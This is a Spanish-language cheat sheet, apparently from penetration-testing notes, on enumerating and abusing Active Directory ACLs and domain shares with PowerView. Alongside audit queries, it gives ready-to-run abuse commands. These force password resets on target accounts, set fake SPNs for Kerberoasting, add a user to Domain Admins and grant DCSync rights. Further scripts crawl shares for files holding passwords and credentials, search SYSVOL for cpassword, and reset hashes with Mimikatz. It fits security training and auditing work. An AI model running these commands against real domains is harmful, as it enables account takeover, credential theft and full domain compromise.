Skip to content

PowerView — Enumerating Domain ACLs y Domain Shares

Conceptos clave

DACL (Discretionary Access Control List) define qué principals tienen acceso permitido o denegado sobre un objeto.

SACL (System Access Control List) permite a administradores registrar intentos de acceso a objetos protegidos.

Cada entrada individual dentro de una ACL se llama ACE (Access Control Entry).

Cuando un usuario intenta acceder a un objeto, el objeto valida el token de acceso del usuario contra su ACL. Si la ACL lo permite, se concede acceso. Si no, se deniega.


Derechos abusables más importantes

ForceChangePassword     → Set-DomainUserPassword
Add Members             → Add-DomainGroupMember
GenericAll              → Set-DomainUserPassword o Add-DomainGroupMember
GenericWrite            → Set-DomainObject (asignar SPN falso, modificar atributos)
WriteOwner              → Set-DomainObjectOwner
WriteDACL               → Add-DomainObjectACL (otorgarse DCSync)
AllExtendedRights       → Set-DomainUserPassword o Add-DomainGroupMember

Enumeración con cmdlets nativos (Get-ACL)

ACLs de un usuario específico filtradas por otro usuario

powershell
(Get-ACL "AD:$((Get-ADUser targetuser).distinguishedname)").access | 
    Where-Object {$_.IdentityReference -eq "DOMAIN\sourceuser"}

Buscar todos los que tienen WriteProperty o GenericAll sobre un usuario

powershell
(Get-ACL "AD:$((Get-ADUser targetuser).distinguishedname)").access | 
    Where-Object {
        $_.ActiveDirectoryRights -match "WriteProperty" -or 
        $_.ActiveDirectoryRights -match "GenericAll"
    } | 
    Select-Object IdentityReference, ActiveDirectoryRights -Unique | 
    Format-Table -Wrap

Enumeración con PowerView

ACLs de un objeto específico

powershell
# Usuario
Get-DomainObjectAcl -Identity username -Domain domain.local -ResolveGUIDs

# Grupo
Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs

# Con resolución de GUIDs (más legible)
Get-DomainObjectAcl -Identity username -ResolveGUIDs | 
    Select-Object ObjectDN, ActiveDirectoryRights, SecurityIdentifier

# Alternativa con Get-ObjectAcl
Get-ObjectAcl -Identity username
Get-ObjectAcl -Identity username -ResolveGUIDs

Convertir SIDs a nombres legibles

powershell
# Convertir un SID específico
Convert-SidToName S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX
ConvertFrom-SID S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX

# Convertir lista de SIDs de una vez
$sids = @("S-1-5-21-...-512", "S-1-5-21-...-1104", "S-1-5-32-548")
Convert-SidToName $sids

Buscar quién tiene GenericAll sobre un usuario específico

powershell
$sid = ConvertTo-SID username
Get-DomainObjectAcl -Identity username -ResolveGUIDs | 
    Where-Object {$_.ActiveDirectoryRights -match "GenericAll"} | 
    Select-Object SecurityIdentifier, ActiveDirectoryRights

# Resolver el SID a nombre
Convert-SidToName <SID obtenido>

# Buscar derechos del usuario actual sobre cualquier objeto
$sid = ConvertTo-SID currentuser
Get-DomainObjectAcl -ResolveGUIDs -Identity * | 
    Where-Object {$_.SecurityIdentifier -eq $sid}

Ver ejemplos detallados en la sección Casos Prácticos más abajo.

Buscar GenericAll sobre un grupo

powershell
Get-ObjectAcl -Identity "GroupName" | 
    Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} | 
    Select-Object SecurityIdentifier, ActiveDirectoryRights

# Convertir los SIDs del resultado
"S-1-5-21-...-512","S-1-5-21-...-1104","S-1-5-32-548","S-1-5-18" | 
    Convert-SidToName

Encontrar ACLs interesantes en todo el dominio

powershell
Find-InterestingDomainAcl -Domain domain.local -ResolveGUIDs

Find-InterestingDomainAcl -ResolveGUIDs | 
    Select-Object ObjectDN, ActiveDirectoryRights, IdentityReferenceName

Produce mucha data. Mejor guardar a archivo y revisar offline:

powershell
Find-InterestingDomainAcl -ResolveGUIDs | 
    Export-Csv acls.csv -NoTypeInformation

Casos Prácticos - Combinaciones de ACLs

Caso 1: Usuario sobre Usuario

Pregunta: ¿Tiene jdoe algún privilegio sobre svcbackup?

powershell
# Paso 1: SID del atacante
$sid = ConvertTo-SID jdoe

# Paso 2: Ver qué ACEs tiene jdoe sobre svcbackup
Get-DomainObjectAcl -Identity svcbackup -ResolveGUIDs | 
    Where-Object {$_.SecurityIdentifier -eq $sid}

# Alternativa: sin convertir SID, ver todos los que tienen GenericAll
Get-DomainObjectAcl -Identity svcbackup -ResolveGUIDs | 
    Where-Object {$_.ActiveDirectoryRights -match "GenericAll"} | 
    Select-Object SecurityIdentifier, ActiveDirectoryRights | 
    ForEach-Object {
        $name = Convert-SidToName $_.SecurityIdentifier
        Write-Host "$name tiene $($_.ActiveDirectoryRights) sobre svcbackup"
    }

Output:

jdoe tiene GenericAll sobre svcbackup
Domain Admins tiene GenericAll sobre svcbackup

Con GenericAll sobre svcbackup puedes:

powershell
# Cambiar contraseña (destructivo)
Set-DomainUserPassword -Identity svcbackup -AccountPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force)

# O asignar SPN falso para Kerberoasting (menos destructivo)
Set-DomainObject -Identity svcbackup -Set @{serviceprincipalname="fake/FAKE"}
Get-DomainSPNTicket -SPN "fake/FAKE" | Export-Csv ticket.csv -NoTypeInformation

Caso 2: Usuario sobre Grupo

Pregunta: ¿Tiene jdoe algún privilegio sobre el grupo IT Support?

powershell
$sid = ConvertTo-SID jdoe

Get-DomainObjectAcl -Identity "IT Support" -ResolveGUIDs | 
    Where-Object {$_.SecurityIdentifier -eq $sid} |
    Select-Object ActiveDirectoryRights, AceType

Output:

ActiveDirectoryRights : GenericAll
AceType               : AccessAllowed

Con GenericAll sobre IT Support puedes:

powershell
# Agregarte al grupo
Add-DomainGroupMember -Identity "IT Support" -Members "jdoe"
net group "IT Support" jdoe /add /domain

# Verificar
Get-NetGroup "IT Support" | Select-Object member

# Limpiar después
net group "IT Support" jdoe /del /domain
powershell
# Ver TODOS los que tienen derechos sobre ese grupo
Get-DomainObjectAcl -Identity "IT Support" -ResolveGUIDs | 
    Where-Object {$_.AceType -eq "AccessAllowed"} |
    Select-Object SecurityIdentifier, ActiveDirectoryRights |
    ForEach-Object {
        $name = Convert-SidToName $_.SecurityIdentifier
        [PSCustomObject]@{
            Quien   = $name
            Derecho = $_.ActiveDirectoryRights
            Sobre   = "IT Support (grupo)"
        }
    } | Format-Table -AutoSize

Caso 3: Grupo sobre Usuario

Pregunta: ¿El grupo Help Desk tiene privilegios sobre el usuario adminuser?

powershell
$sid = ConvertTo-SID "Help Desk"

Get-DomainObjectAcl -Identity adminuser -ResolveGUIDs | 
    Where-Object {$_.SecurityIdentifier -eq $sid} |
    Select-Object ActiveDirectoryRights, ObjectAceType

Output:

ActiveDirectoryRights : ForceChangePassword
ObjectAceType         : User-Force-Change-Password

Con ForceChangePassword sobre adminuser, siendo miembro de Help Desk puedes:

powershell
Set-DomainUserPassword -Identity adminuser -AccountPassword (ConvertTo-SecureString "NewPass123!" -AsPlainText -Force)

Caso 4: Grupo sobre Grupo

Pregunta: ¿El grupo Help Desk tiene privilegios sobre el grupo Domain Admins?

powershell
$sid = ConvertTo-SID "Help Desk"

Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | 
    Where-Object {$_.SecurityIdentifier -eq $sid} |
    Select-Object ActiveDirectoryRights

Output:

ActiveDirectoryRights : GenericAll

Con GenericAll sobre Domain Admins, siendo miembro de Help Desk puedes:

powershell
# Agregar tu usuario a Domain Admins
Add-DomainGroupMember -Identity "Domain Admins" -Members "jdoe"
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName

Caso 5: Todos los privilegios de un usuario sobre el dominio

Pregunta: ¿Qué tiene jdoe sobre cualquier objeto del dominio?

powershell
$sid = ConvertTo-SID jdoe

Get-DomainObjectAcl -ResolveGUIDs -Identity * | 
    Where-Object {$_.SecurityIdentifier -eq $sid} |
    Select-Object ObjectDN, ActiveDirectoryRights |
    Format-Table -AutoSize

Output:

ObjectDN                                         ActiveDirectoryRights
--------                                         ---------------------
CN=svcbackup,CN=Users,DC=domain,DC=local         GenericAll
CN=IT Support,CN=Users,DC=domain,DC=local        GenericAll
CN=Workstation01,CN=Computers,DC=domain,DC=local  GenericWrite
powershell
# Versión con solo nombres (más legible)
Get-DomainObjectAcl -ResolveGUIDs -Identity * | 
    Where-Object {$_.SecurityIdentifier -eq $sid} |
    ForEach-Object {
        [PSCustomObject]@{
            Objeto  = ($_.ObjectDN -split ",")[0] -replace "CN=",""
            Derecho = $_.ActiveDirectoryRights
        }
    } | Format-Table -AutoSize

Caso 6: GenericAll masivo - Buscar anomalías

Pregunta: ¿Quién tiene GenericAll sobre objetos del dominio fuera de lo esperado?

powershell
Get-DomainObjectAcl -ResolveGUIDs -Identity * | 
    Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} |
    ForEach-Object {
        $who = Convert-SidToName $_.SecurityIdentifier
        [PSCustomObject]@{
            Quien   = $who
            Sobre   = $_.ObjectDN
            Derecho = $_.ActiveDirectoryRights
        }
    } | 
    Where-Object {
        $_.Quien -notmatch "Domain Admins|Enterprise Admins|SYSTEM|Administrator"
    } | 
    Format-Table -AutoSize

Filtra lo esperado y muestra solo los privilegios sospechosos.


Caso 7: WriteDACL y WriteOwner (escalada indirecta)

powershell
# Buscar WriteDACL o WriteOwner fuera de cuentas privilegiadas
Get-DomainObjectAcl -ResolveGUIDs -Identity * | 
    Where-Object {
        $_.ActiveDirectoryRights -match "WriteDACL" -or 
        $_.ActiveDirectoryRights -match "WriteOwner"
    } |
    ForEach-Object {
        $who = Convert-SidToName $_.SecurityIdentifier
        [PSCustomObject]@{
            Quien   = $who
            Sobre   = $_.ObjectDN
            Derecho = $_.ActiveDirectoryRights
        }
    } | 
    Where-Object {$_.Quien -notmatch "Domain Admins|Enterprise Admins|SYSTEM"} |
    Format-Table -AutoSize

Caso 8: ForceChangePassword sobre un usuario específico

powershell
# ¿Quién puede forzar cambio de contraseña de targetuser?
Get-DomainObjectAcl -Identity targetuser -ResolveGUIDs | 
    Where-Object {$_.ObjectAceType -match "User-Force-Change-Password"} |
    ForEach-Object {
        $who = Convert-SidToName $_.SecurityIdentifier
        Write-Host "$who puede forzar cambio de contraseña de targetuser" -ForegroundColor Yellow
    }

Caso 9: Encadenamiento de privilegios (ACL Chain)

A veces el privilegio no es directo. El camino puede ser:

jdoe → GenericAll → grupo "Help Desk"
grupo "Help Desk" → ForceChangePassword → adminuser

Para detectarlo:

powershell
# Paso 1: Ver qué tiene jdoe
$sid = ConvertTo-SID jdoe
Get-DomainObjectAcl -ResolveGUIDs -Identity * | 
    Where-Object {$_.SecurityIdentifier -eq $sid} |
    ForEach-Object {
        Write-Host "jdoe tiene $($_.ActiveDirectoryRights) sobre $($_.ObjectDN)"
    }

# Paso 2: Ver qué tiene el grupo sobre otros objetos
$sid_helpdesk = ConvertTo-SID "Help Desk"
Get-DomainObjectAcl -ResolveGUIDs -Identity * | 
    Where-Object {$_.SecurityIdentifier -eq $sid_helpdesk} |
    ForEach-Object {
        Write-Host "Help Desk tiene $($_.ActiveDirectoryRights) sobre $($_.ObjectDN)"
    }

Output:

jdoe tiene GenericAll sobre CN=Help Desk,...
Help Desk tiene ForceChangePassword sobre CN=adminuser,...

Camino de ataque: jdoe → agregarse a Help Desk → ForceChangePassword sobre adminuser


Resumen de Combinaciones

QuiénSobre quéDerechoQué puedes hacer
UsuarioUsuarioGenericAllCambiar pass, SPN falso, ASREPRoast
UsuarioUsuarioForceChangePasswordCambiar contraseña directamente
UsuarioUsuarioGenericWriteModificar atributos, SPN falso
UsuarioGrupoGenericAllAgregarte al grupo
GrupoUsuarioGenericAll(si eres miembro) cambiar pass
GrupoGrupoGenericAll(si eres miembro) agregar usuarios
UsuarioComputadoraGenericAll/WriteRBCD attack
UsuarioDominioWriteDACLOtorgarse DCSync
UsuarioGPOGenericWriteSharpGPOAbuse

ACLs en shares (permisos de archivos)

Ver shares disponibles en un host

powershell
Get-NetShare -ComputerName fileserver01
Get-NetShare -ComputerName workstation01

Ver ACLs de un share específico

powershell
Get-PathAcl "\\fileserver01\ShareName"
Get-PathAcl "\\workstation01\<nombre_share>"

Si BUILTIN\Users tiene WriteData o GenericAll sobre un share, cualquier usuario del dominio puede escribir en él. Si tiene solo Read, puede leer archivos sensibles.


Enumeración de Domain Shares

Encontrar shares en el dominio

powershell
# Listar todos los shares del dominio
Find-DomainShare

# Solo los que tienes acceso
Find-DomainShare -CheckShareAccess

# Output típico:
# Name       Type  Remark               ComputerName
# ----       ----  ------               ------------
# ADMIN$     ...   Remote Admin         DC01.domain.local
# C$         ...   Default share        DC01.domain.local
# SYSVOL     ...   Logon server share   DC01.domain.local
# NETLOGON   ...   Logon server share   DC01.domain.local

Shares por defecto (menos interesantes): ADMIN$, C$, IPC$, NETLOGON

Shares interesantes: cualquier nombre custom como backup, docs, sharing, etc.

Shares por defecto (ignorar generalmente): ADMIN$, C$, IPC$, NETLOGON, SYSVOL (aunque SYSVOL siempre vale revisarlo)

Shares interesantes: cualquier nombre no estándar como fileshare, appdata, it-tools, storage, files, etc.

Buscar archivos interesantes en todos los shares del dominio

powershell
# Explorar todos los shares accesibles y buscar archivos sospechosos
Find-DomainShare -CheckShareAccess | ForEach-Object {
    $sharePath = "\\$($_.ComputerName)\$($_.Name)"
    Write-Host "Explorando: $sharePath" -ForegroundColor Cyan
    
    ls $sharePath -Recurse -ErrorAction SilentlyContinue | 
        Where-Object {
            $_.Name -like "*password*"   -or
            $_.Name -like "*credential*" -or
            $_.Name -like "*secret*"     -or
            $_.Name -like "*config*"     -or
            $_.Name -like "*backup*"
        } | ForEach-Object {
            Write-Host "INTERESANTE: $($_.FullName)" -ForegroundColor Yellow
        }
}
 
# Buscar contenido con credenciales en todos los shares
Find-DomainShare -CheckShareAccess | ForEach-Object {
    $sharePath = "\\$($_.ComputerName)\$($_.Name)"
    
    ls $sharePath -Recurse -Include "*.txt","*.xml","*.ini","*.config","*.ps1","*.bat" -ErrorAction SilentlyContinue |
        Select-String -Pattern "password|credential|secret" -ErrorAction SilentlyContinue | 
        Select-Object Path, LineNumber, Line
}

Explorar Shares Custom

powershell

# Explorar recursivamente
ls \\PCSHARE\share -Recurse
 
# Leer archivos encontrados
cat \\PCSHARE\share\path\filename.txt
 
# Buscar archivos con nombres sospechosos
ls \\PCSHARE\share -Recurse | 
    Where-Object {
        $_.Name -like "*password*" -or 
        $_.Name -like "*cred*" -or 
        $_.Name -like "*secret*" -or
        $_.Name -like "*backup*"
    }
 
# Buscar por extensión
ls \\PCSHARE\docshare -Recurse | 
    Where-Object {$_.Extension -in @(".txt", ".xml", ".ini", ".config", ".bat", ".ps1")}


DCSync — Buscar quién tiene derechos de replicación

DCSync requiere tres derechos sobre el objeto del dominio:

  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-All
  • DS-Replication-Get-Changes-In-Filtered-Set

Enumerar todos los SIDs con derechos de replicación o GenericAll sobre el dominio

powershell
Get-ObjectACL "DC=domain,DC=local" -ResolveGUIDs | 
    Where-Object { 
        ($_.ActiveDirectoryRights -match 'GenericAll') -or 
        ($_.ObjectAceType -match 'Replication-Get')
    } | 
    Select-Object SecurityIdentifier | 
    Sort-Object -Property SecurityIdentifier -Unique

Convertir un SID a nombre legible

powershell
ConvertFrom-SID S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX

Convertir todos los SIDs de DCSync a nombres de una vez

powershell
$dcsync = Get-ObjectACL "DC=domain,DC=local" -ResolveGUIDs | 
    Where-Object { 
        ($_.ActiveDirectoryRights -match 'GenericAll') -or 
        ($_.ObjectAceType -match 'Replication-Get')
    } | 
    Select-Object -ExpandProperty SecurityIdentifier | 
    Select-Object -ExpandProperty value

Convert-SidToName $dcsync

Cualquier usuario que aparezca aquí y no sea Domain Admin, Enterprise Admin, Domain Controllers, o grupos del sistema es una cuenta que podría usarse para hacer DCSync sin ser administrador explícito. Vale la pena investigar si es intencional o una misconfiguration.


Qué hacer con cada derecho encontrado

GenericAll o GenericWrite sobre un usuario → cambiar contraseña, asignar SPN falso para Kerberoasting, o desactivar pre-auth para ASREPRoasting. Las dos últimas son menos destructivas que cambiar la contraseña.

GenericAll sobre un grupo → agregarse a ese grupo (ver Caso 2 en Casos Prácticos).

GenericAll o GenericWrite sobre una computadora → Resource-Based Constrained Delegation (RBCD).

WriteDACL sobre el dominio → otorgarse derechos de replicación y hacer DCSync.

WriteOwner sobre un objeto → tomar propiedad del objeto y luego modificar sus ACLs.

GPO con escritura → usar SharpGPOAbuse para agregar admin local, agregar privilegios como SeDebugPrivilege, o ejecutar scripts de inicio.

Si hiciste algo destructivo como cambiar contraseña y comprometiste el dominio, puedes recuperar la contraseña anterior via DCSync con historial y resetearla con Mimikatz: lsadump::ChangeNTLM o lsadump::SetNTLM.


Flujo recomendado al enumerar ACLs

powershell
# 1. Buscar ACLs interesantes en todo el dominio
Find-InterestingDomainAcl -ResolveGUIDs | 
    Select-Object ObjectDN, ActiveDirectoryRights, IdentityReferenceName | 
    Export-Csv acls.csv -NoTypeInformation

# 2. Buscar derechos del usuario actual sobre cualquier objeto
$sid = ConvertTo-SID currentuser
Get-DomainObjectAcl -ResolveGUIDs -Identity * | 
    Where-Object {$_.SecurityIdentifier -eq $sid}

# 3. Buscar quién tiene DCSync
$dcsync = Get-ObjectACL "DC=domain,DC=local" -ResolveGUIDs | 
    Where-Object { 
        ($_.ActiveDirectoryRights -match 'GenericAll') -or 
        ($_.ObjectAceType -match 'Replication-Get')
    } | 
    Select-Object -ExpandProperty SecurityIdentifier | 
    Select-Object -ExpandProperty value
Convert-SidToName $dcsync

# 4. Ver shares del dominio
Find-DomainShare
Get-NetShare -ComputerName fileserver01
Get-PathAcl "\\server01\ShareName"

# 5. Explorar SYSVOL buscando cpassword
ls \\DC01.domain.local\sysvol\domain.local\Policies\ -Recurse | 
    Where-Object {$_.Extension -eq ".xml"} | 
    ForEach-Object { cat $_.FullName }